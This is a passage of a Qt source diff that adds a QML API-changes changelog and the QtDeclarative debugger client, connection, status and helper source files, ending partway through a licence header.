+For example
+
+Item {
+ Script {
+ function doSomething() {}
+ }
+}
+
+becomes
+
+Item {
+ function doSomething() {}
+}
+
+If you used Script to include external JavaScript files, you can replace the
+Script element with an “import” line. For example
+
+MouseArea {
+ Script {
+ source: “foo.js”
+ }
+ onClicked: foo()
+}
+
+becomes
+
+import “foo.js” as Foo
+MouseArea {
+ onClicked: Foo.foo()
+}
+
+The “as” qualifier is mandatory for script imports (as opposed to type
+imports where it is optional).
+
+
+=============================================================================
+The changes below are pre Qt 4.7.0 alpha
+
+Flickable: renamed viewportWidth -> contentWidth
+Flickable: renamed viewportHeight -> contentHeight
+Flickable: renamed viewportX -> contentX
+Flickable: renamed viewportY -> contentY
+Removed Flickable.reportedVelocitySmoothing
+Renamed MouseRegion -> MouseArea
+Connection: syntax and rename:
+ Connection { sender: a; signal: foo(); script: xxx }
+ Connection { sender: a; signal: bar(); script: yyy }
+ becomes:
+ Connections { target: a; onFoo: xxx; onBar: yyy }
+
+ListView::sectionExpression has been replaced by section.property, section.criteria
+
+ListModel
+---------
+- types are strictly checked (previously, everything was a string)
+ - foo: "bar" continues to work as before
+ - foo: bar is now invalid, use foo: "bar"
+ - foo: true is now a bool (not string "true")
+ - foo: false is now a bool (not string "false" == true!)
+
+PropertyAnimation
+------------------
+matchProperties and matchTargets have been renamed back to properties and targets.
+The semantics are explained in the PropertyAnimation::properties documentation
+and the animation overview documentation.
+
+Easing curves and their parameters are now specified via dot properties:
+* easing.type : enum
+* easing.amplitude : real
+* easing.overshoot : real
+* easing.period : real
+For example:
+PropertyAnimation { properties: "y"; easing.type: "InOutElastic"; easing.amplitude: 2.0; easing.period: 1.5 }
+
+C++ API
+-------
+QML_DEFINE_... definition macros, previously global macros, are replaced by
+qmlRegisterType registration functions, which must be called explicitly.
+C++ API users should also consider using the QmlExtensionPlugin (previously
+named QmlModulePlugin) as a cleaner mechanism for publishing libraries of QML
+types, or the upcoming application plugin features of the qmlviewer /
+qmlruntime / qml.
+
+QmlView
+-------
+The API of QmlView has been narrowed and its role as a convenience class
+reinforced.
+- remove addItem()
+- remove clearItems() - use 'delete root()'
+- remove reset()
+- resizeContent -> enum ResizeMode { SizeViewToRootObject, SizeRootObjectToView }
+- remove setQml(), qml()
+- rename setUrl(), ur() to setSource(), source()
+- root() -> rootObject(), returns QGraphicsObject rather than QmlGraphicsItem
+- remove quit() signal -> use quit() signal of engine()
+- initialSize() signal removed
+- Added status() to determine status of the internal QmlComponent
+- removed execute() - setSource() will also execute the QML.
+
+
+=============================================================================
+The changes below are pre-4.6.0 release.
+
+QML API Review
+==============
+
+The QML API is being reviewed. This file documents the changes.
+Note that the changes are incremental, so a rename A->B for example may be followed
+by another subsequent rename B->C, if later reviews override earlier reviews.
+
+API Changes
+===========
+
+Renamed Elements:
+LineEdit -> TextInput
+VerticalLayout -> Column
+HorizontalLayout -> Row
+VerticalPositioner -> Column
+HorizontalPositioner -> Row
+GridLayout -> Grid
+GridPositioner -> Grid
+Rect -> Rectangle
+FocusRealm -> FocusScope
+FontFamily -> FontLoader
+Palette -> SystemPalette
+Bind -> Binding
+SetProperties -> PropertyChanges
+RunScript -> StateChangeScript
+SetAnchors -> AnchorChanges
+SetPropertyAction -> PropertyAction
+RunScriptAction -> ScriptAction
+ParentChangeAction -> ParentAction
+VisualModel -> VisualDataModel
+Follow -> SpringFollow
+
+Renamed properties:
+Item: contents -> childrenRect
+MouseRegion: xmin -> minimumX
+MouseRegion: xmax -> maximumX
+MouseRegion: ymin -> minimumY
+MouseRegion: ymin -> maximumY
+Text elements: hAlign -> horizontalAlignment
+Text elements: vAlign -> verticalAlignment
+Text elements: highlightColor -> selectionColor
+Text elements: highlightedTextColor -> selectedTextColor
+Text elements: preserveSelection -> persistentSelection
+State: operations -> changes
+Transition: operations -> animations
+Transition: fromState -> from
+Transition: toState -> to
+Follow: followValue -> value
+Flickable: xPosition -> viewportX
+Flickable: yPosition -> viewportY
+Flickable: xVelocity -> horizontalVelocity
+Flickable: yVelocity -> verticalVelocity
+Flickable: velocityDecay -> reportedVelocitySmoothing
+Flickable: locked -> interactive (note reversal of meaning)
+Flickable: pageXPosition -> visibleArea.xPosition
+Flickable: pageYPosition -> visibleArea.yPosition
+Flickable: pageWidth -> visibleArea.widthRatio
+Flickable: pageHeight -> visibleArea.heightRatio
+WebView: idealWidth -> preferredWidth
+WebView: idealHeight -> preferredHeight
+WebView: status -> statusText
+WebView: mouseX -> clickX (parameter to onDoubleClick)
+WebView: mouseY -> clickY (parameter to onDoubleClick)
+WebView: cacheSize -> pixelCacheSize
+Repeater: component -> delegate
+Repeater: dataSource -> model
+ListView: current -> currentItem
+GridView: current -> currentItem
+ListView: wrap -> keyNavigationWraps
+ListView: autoHighlight -> highlightFollowsCurrentItem
+GridView: wrap -> keyNavigationWraps
+GridView: autoHighlight -> highlightFollowsCurrentItem
+Animation: targets -> matchTargets
+Animation: properties -> matchProperties
+
+Additions:
+MouseRegion: add "acceptedButtons" property
+MouseRegion: add "hoverEnabled" property
+MouseRegion: add "pressedButtons" property
+Timer: add start() and stop() slots
+WebView: add newWindowComponent and newWindowParent properties
+Loader: add status() and progress() properties
+Loader: add sourceComponent property
+Loader: add resizeMode property
+ListView: preferredHighlightBegin, preferredHighlightEnd
+ListView: strictlyEnforceHighlightRange
+Particles: Added emissionRate, emissionVariance and burst()
+
+Deletions:
+Column/VerticalPositioner: lost "margins" property
+Row/HorizontalPositioner: lost "margins" property
+Grid/Positioner/Layout: lost "margins" property
+WebView: lost "interactive" property (always true now)
+Flickable: removed "dragMode" property
+ComponentInstance: removed. Replaced by Loader.sourceComponent
+ListView: removed currentItemMode. Replaced by highligh range.
+ListView: removed snapPos.
+Particles: removed streamIn. Replaced by emissionRate
+
+Other Changes:
+ids must be lowercase: Text { id: foo }, not Text { id: Foo }
+Drag: axis becomes an enum with values "XAxis", "YAxis", "XandYAxis"
+Image: scaleGrid property removed. New item called BorderImage instead.
+KeyActions: changed to a Keys attached property on any item.
+KeyProxy: changed to a Keys.forwardTo property on any item.
+Script: now an intrinsic type in the language
+ - cannot be assigned to properties
+ - good: Item { Script { ... } }
+ - bad: Item { resources: Script { ... } }
+Script: delay-loaded of the QML file until their source has been loaded (this only effects QML files loaded across the network.)
+Scope: declared properties shadow a property of the same name (was previously the reverse)
+ScriptAction and StateChangeScript: the script property now takes script rather than a string containing script (script: doSomething() rather than script: "doSomething()")
+QmlGraphicsItem::transformOrigin default changed from TopLeft to Center
+Animations used as PropertySourceValues are set to 'running: true' as default
diff --git a/src/declarative/debugger/debugger.pri b/src/declarative/debugger/debugger.pri
new file mode 100644
index 00000000..c81968ee
--- /dev/null
+++ b/src/declarative/debugger/debugger.pri
@@ -0,0 +1,33 @@
+INCLUDEPATH += $$PWD
+
+SOURCES += \
+ $$PWD/qdeclarativedebuggerstatus.cpp \
+ $$PWD/qpacketprotocol.cpp \
+ $$PWD/qdeclarativedebugservice.cpp \
+ $$PWD/qdeclarativedebugclient.cpp \
+ $$PWD/qdeclarativeenginedebug.cpp \
+ $$PWD/qdeclarativedebugtrace.cpp \
+ $$PWD/qdeclarativedebughelper.cpp \
+ $$PWD/qdeclarativedebugserver.cpp \
+ $$PWD/qdeclarativeinspectorservice.cpp \
+ $$PWD/qjsdebuggeragent.cpp \
+ $$PWD/qjsdebugservice.cpp \
+ $$PWD/qdeclarativeenginedebugservice.cpp
+
+HEADERS += \
+ $$PWD/qdeclarativedebuggerstatus_p.h \
+ $$PWD/qpacketprotocol_p.h \
+ $$PWD/qdeclarativedebugservice_p.h \
+ $$PWD/qdeclarativedebugservice_p_p.h \
+ $$PWD/qdeclarativedebugclient_p.h \
+ $$PWD/qdeclarativeenginedebug_p.h \
+ $$PWD/qdeclarativedebugtrace_p.h \
+ $$PWD/qdeclarativedebughelper_p.h \
+ $$PWD/qdeclarativedebugserver_p.h \
+ $$PWD/qdeclarativedebugserverconnection_p.h \
+ $$PWD/qdeclarativeinspectorservice_p.h \
+ $$PWD/qdeclarativeinspectorinterface_p.h \
+ $$PWD/qjsdebuggeragent_p.h \
+ $$PWD/qjsdebugservice_p.h \
+ $$PWD/qdeclarativedebug.h \
+ $$PWD/qdeclarativeenginedebugservice_p.h
diff --git a/src/declarative/debugger/qdeclarativedebug.h b/src/declarative/debugger/qdeclarativedebug.h
new file mode 100644
index 00000000..8b0a65c2
--- /dev/null
+++ b/src/declarative/debugger/qdeclarativedebug.h
@@ -0,0 +1,67 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEDEBUG_H
+#define QDECLARATIVEDEBUG_H
+
+#include <QtCore/qglobal.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+struct Q_DECLARATIVE_EXPORT QDeclarativeDebuggingEnabler
+{
+ QDeclarativeDebuggingEnabler();
+};
+
+// Execute code in constructor before first QDeclarativeEngine is instantiated
+#if defined(QT_DECLARATIVE_DEBUG)
+static QDeclarativeDebuggingEnabler qmlEnableDebuggingHelper;
+#endif
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEDEBUG_H
diff --git a/src/declarative/debugger/qdeclarativedebugclient.cpp b/src/declarative/debugger/qdeclarativedebugclient.cpp
new file mode 100644
index 00000000..9c3d8144
--- /dev/null
+++ b/src/declarative/debugger/qdeclarativedebugclient.cpp
@@ -0,0 +1,292 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativedebugclient_p.h"
+
+#include "private/qpacketprotocol_p.h"
+
+#include <QtCore/qdebug.h>
+#include <QtCore/qstringlist.h>
+
+#include <private/qobject_p.h>
+
+QT_BEGIN_NAMESPACE
+
+const int protocolVersion = 1;
+const QString serverId = QLatin1String("QDeclarativeDebugServer");
+const QString clientId = QLatin1String("QDeclarativeDebugClient");
+
+class QDeclarativeDebugClientPrivate : public QObjectPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeDebugClient)
+public:
+ QDeclarativeDebugClientPrivate();
+
+ QString name;
+ QDeclarativeDebugConnection *connection;
+};
+
+class QDeclarativeDebugConnectionPrivate : public QObject
+{
+ Q_OBJECT
+public:
+ QDeclarativeDebugConnectionPrivate(QDeclarativeDebugConnection *c);
+ QDeclarativeDebugConnection *q;
+ QPacketProtocol *protocol;
+
+ bool gotHello;
+ QStringList serverPlugins;
+ QHash<QString, QDeclarativeDebugClient *> plugins;
+
+ void advertisePlugins();
+
+public Q_SLOTS:
+ void connected();
+ void readyRead();
+};
+
+QDeclarativeDebugConnectionPrivate::QDeclarativeDebugConnectionPrivate(QDeclarativeDebugConnection *c)
+: QObject(c), q(c), protocol(0), gotHello(false)
+{
+ protocol = new QPacketProtocol(q, this);
+ QObject::connect(c, SIGNAL(connected()), this, SLOT(connected()));
+ QObject::connect(protocol, SIGNAL(readyRead()), this, SLOT(readyRead()));
+}
+
+void QDeclarativeDebugConnectionPrivate::advertisePlugins()
+{
+ if (!q->isConnected())
+ return;
+
+ QPacket pack;
+ pack << serverId << 1 << plugins.keys();
+ protocol->send(pack);
+ q->flush();
+}
+
+void QDeclarativeDebugConnectionPrivate::connected()
+{
+ QPacket pack;
+ pack << serverId << 0 << protocolVersion << plugins.keys();
+ protocol->send(pack);
+ q->flush();
+}
+
+void QDeclarativeDebugConnectionPrivate::readyRead()
+{
+ if (!gotHello) {
+ QPacket pack = protocol->read();
+ QString name;
+
+ pack >> name;
+
+ bool validHello = false;
+ if (name == clientId) {
+ int op = -1;
+ pack >> op;
+ if (op == 0) {
+ int version = -1;
+ pack >> version;
+ if (version == protocolVersion) {
+ pack >> serverPlugins;
+ validHello = true;
+ }
+ }
+ }
+
+ if (!validHello) {
+ qWarning("QDeclarativeDebugConnection: Invalid hello message");
+ QObject::disconnect(protocol, SIGNAL(readyRead()), this, SLOT(readyRead()));
+ return;
+ }
+
+ gotHello = true;
+
+ QHash<QString, QDeclarativeDebugClient *>::Iterator iter = plugins.begin();
+ for (; iter != plugins.end(); ++iter) {
+ QDeclarativeDebugClient::Status newStatus = QDeclarativeDebugClient::Unavailable;
+ if (serverPlugins.contains(iter.key()))
+ newStatus = QDeclarativeDebugClient::Enabled;
+ iter.value()->statusChanged(newStatus);
+ }
+ }
+
+ while (protocol->packetsAvailable()) {
+ QPacket pack = protocol->read();
+ QString name;
+ pack >> name;
+
+ if (name == clientId) {
+ int op = -1;
+ pack >> op;
+
+ if (op == 1) {
+ // Service Discovery
+ QStringList oldServerPlugins = serverPlugins;
+ pack >> serverPlugins;
+
+ QHash<QString, QDeclarativeDebugClient *>::Iterator iter = plugins.begin();
+ for (; iter != plugins.end(); ++iter) {
+ const QString pluginName = iter.key();
+ QDeclarativeDebugClient::Status newStatus = QDeclarativeDebugClient::Unavailable;
+ if (serverPlugins.contains(pluginName))
+ newStatus = QDeclarativeDebugClient::Enabled;
+
+ if (oldServerPlugins.contains(pluginName)
+ != serverPlugins.contains(pluginName)) {
+ iter.value()->statusChanged(newStatus);
+ }
+ }
+ } else {
+ qWarning() << "QDeclarativeDebugConnection: Unknown control message id" << op;
+ }
+ } else {
+ QByteArray message;
+ pack >> message;
+
+ QHash<QString, QDeclarativeDebugClient *>::Iterator iter =
+ plugins.find(name);
+ if (iter == plugins.end()) {
+ qWarning() << "QDeclarativeDebugConnection: Message received for missing plugin" << name;
+ } else {
+ (*iter)->messageReceived(message);
+ }
+ }
+ }
+}
+
+QDeclarativeDebugConnection::QDeclarativeDebugConnection(QObject *parent)
+: QTcpSocket(parent), d(new QDeclarativeDebugConnectionPrivate(this))
+{
+}
+
+QDeclarativeDebugConnection::~QDeclarativeDebugConnection()
+{
+ QHash<QString, QDeclarativeDebugClient*>::iterator iter = d->plugins.begin();
+ for (; iter != d->plugins.end(); ++iter) {
+ iter.value()->d_func()->connection = 0;
+ iter.value()->statusChanged(QDeclarativeDebugClient::NotConnected);
+ }
+}
+
+bool QDeclarativeDebugConnection::isConnected() const
+{
+ return state() == ConnectedState;
+}
+
+QDeclarativeDebugClientPrivate::QDeclarativeDebugClientPrivate()
+: connection(0)
+{
+}
+
+QDeclarativeDebugClient::QDeclarativeDebugClient(const QString &name,
+ QDeclarativeDebugConnection *parent)
+: QObject(*(new QDeclarativeDebugClientPrivate), parent)
+{
+ Q_D(QDeclarativeDebugClient);
+ d->name = name;
+ d->connection = parent;
+
+ if (!d->connection)
+ return;
+
+ if (d->connection->d->plugins.contains(name)) {
+ qWarning() << "QDeclarativeDebugClient: Conflicting plugin name" << name;
+ d->connection = 0;
+ } else {
+ d->connection->d->plugins.insert(name, this);
+ d->connection->d->advertisePlugins();
+ }
+}
+
+QDeclarativeDebugClient::~QDeclarativeDebugClient()
+{
+ Q_D(const QDeclarativeDebugClient);
+ if (d->connection && d->connection->d) {
+ d->connection->d->plugins.remove(d->name);
+ d->connection->d->advertisePlugins();
+ }
+}
+
+QString QDeclarativeDebugClient::name() const
+{
+ Q_D(const QDeclarativeDebugClient);
+ return d->name;
+}
+
+QDeclarativeDebugClient::Status QDeclarativeDebugClient::status() const
+{
+ Q_D(const QDeclarativeDebugClient);
+ if (!d->connection
+ || !d->connection->isConnected()
+ || !d->connection->d->gotHello)
+ return NotConnected;
+
+ if (d->connection->d->serverPlugins.contains(d->name))
+ return Enabled;
+
+ return Unavailable;
+}
+
+void QDeclarativeDebugClient::sendMessage(const QByteArray &message)
+{
+ Q_D(QDeclarativeDebugClient);
+
+ if (status() != Enabled)
+ return;
+
+ QPacket pack;
+ pack << d->name << message;
+ d->connection->d->protocol->send(pack);
+ d->connection->d->q->flush();
+}
+
+void QDeclarativeDebugClient::statusChanged(Status)
+{
+}
+
+void QDeclarativeDebugClient::messageReceived(const QByteArray &)
+{
+}
+
+QT_END_NAMESPACE
+
+#include <qdeclarativedebugclient.moc>
diff --git a/src/declarative/debugger/qdeclarativedebugclient_p.h b/src/declarative/debugger/qdeclarativedebugclient_p.h
new file mode 100644
index 00000000..ea099fe2
--- /dev/null
+++ b/src/declarative/debugger/qdeclarativedebugclient_p.h
@@ -0,0 +1,103 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEDEBUGCLIENT_H
+#define QDECLARATIVEDEBUGCLIENT_H
+
+#include <QtNetwork/qtcpsocket.h>
+
+#include <private/qdeclarativeglobal_p.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeDebugConnectionPrivate;
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeDebugConnection : public QTcpSocket
+{
+ Q_OBJECT
+ Q_DISABLE_COPY(QDeclarativeDebugConnection)
+public:
+ QDeclarativeDebugConnection(QObject * = 0);
+ ~QDeclarativeDebugConnection();
+
+ bool isConnected() const;
+private:
+ QDeclarativeDebugConnectionPrivate *d;
+ friend class QDeclarativeDebugClient;
+ friend class QDeclarativeDebugClientPrivate;
+};
+
+class QDeclarativeDebugClientPrivate;
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeDebugClient : public QObject
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE(QDeclarativeDebugClient)
+ Q_DISABLE_COPY(QDeclarativeDebugClient)
+
+public:
+ enum Status { NotConnected, Unavailable, Enabled };
+
+ QDeclarativeDebugClient(const QString &, QDeclarativeDebugConnection *parent);
+ ~QDeclarativeDebugClient();
+
+ QString name() const;
+
+ Status status() const;
+
+ void sendMessage(const QByteArray &);
+
+protected:
+ virtual void statusChanged(Status);
+ virtual void messageReceived(const QByteArray &);
+
+private:
+ friend class QDeclarativeDebugConnection;
+ friend class QDeclarativeDebugConnectionPrivate;
+};
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEDEBUGCLIENT_H
diff --git a/src/declarative/debugger/qdeclarativedebuggerstatus.cpp b/src/declarative/debugger/qdeclarativedebuggerstatus.cpp
new file mode 100644
index 00000000..2e2f4f5b
--- /dev/null
+++ b/src/declarative/debugger/qdeclarativedebuggerstatus.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativedebuggerstatus_p.h"
+
+QT_BEGIN_NAMESPACE
+
+QDeclarativeDebuggerStatus::~QDeclarativeDebuggerStatus()
+{
+}
+
+void QDeclarativeDebuggerStatus::setSelectedState(bool)
+{
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/debugger/qdeclarativedebuggerstatus_p.h b/src/declarative/debugger/qdeclarativedebuggerstatus_p.h
new file mode 100644
index 00000000..0404e0f8
--- /dev/null
+++ b/src/declarative/debugger/qdeclarativedebuggerstatus_p.h
@@ -0,0 +1,68 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEDEBUGGERSTATUS_P_H
+#define QDECLARATIVEDEBUGGERSTATUS_P_H
+
+#include <QtCore/qobject.h>
+
+#include <private/qdeclarativeglobal_p.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeDebuggerStatus
+{
+public:
+ virtual ~QDeclarativeDebuggerStatus();
+
+ virtual void setSelectedState(bool);
+};
+Q_DECLARE_INTERFACE(QDeclarativeDebuggerStatus, "com.trolltech.qml.QDeclarativeDebuggerStatus")
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QLMDEBUGGERSTATUS_P_H
diff --git a/src/declarative/debugger/qdeclarativedebughelper.cpp b/src/declarative/debugger/qdeclarativedebughelper.cpp
new file mode 100644
index 00000000..1a460bfb
--- /dev/null
+++ b/src/declarative/debugger/qdeclarativedebughelper.cpp
@@ -0,0 +1,76 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtScript/QScriptEngine>
+
+#include "private/qdeclarativedebughelper_p.h"
+
+#include <QtCore/QAbstractAnimation>
+#include <QtScript/QScriptEngine>
+
+#include <private/qdeclarativeengine_p.h>
+#include <private/qabstractanimation_p.h>
+#include <private/qdeclarativeengine_p.h>
+
+QT_BEGIN_NAMESPACE
+
+QScriptEngine *QDeclarativeDebugHelper::getScriptEngine(QDeclarativeEngine *engine)
+{
+ return QDeclarativeEnginePrivate::getScriptEngine(engine);
+}
+
+void QDeclarativeDebugHelper::setAnimationSlowDownFactor(qreal factor)
+{
+ QUnifiedTimer *timer = QUnifiedTimer::instance();
+ timer->setSlowModeEnabled(factor != 1.0);
+ timer->setSlowdownFactor(factor);
+}
+
+void QDeclarativeDebugHelper::enableDebugging() {
+#ifndef QDECLARATIVE_NO_DEBUG_PROTOCOL
+ if (!QDeclarativeEnginePrivate::qml_debugging_enabled) {
+ qWarning("Qml debugging is enabled. Only use this in a safe environment!");
+ }
+ QDeclarativeEnginePrivate::qml_debugging_enabled = true;
+#endif
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/debugger/qdeclarativedebughelper_p.h b/src/declarative/debugger/qdeclarativedebughelper_p.h
new file mode 100644
index 00000000..93370982
--- /dev/null
+++ b/src/declarative/debugger/qdeclarativedebughelper_p.h
@@ -0,0 +1,73 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
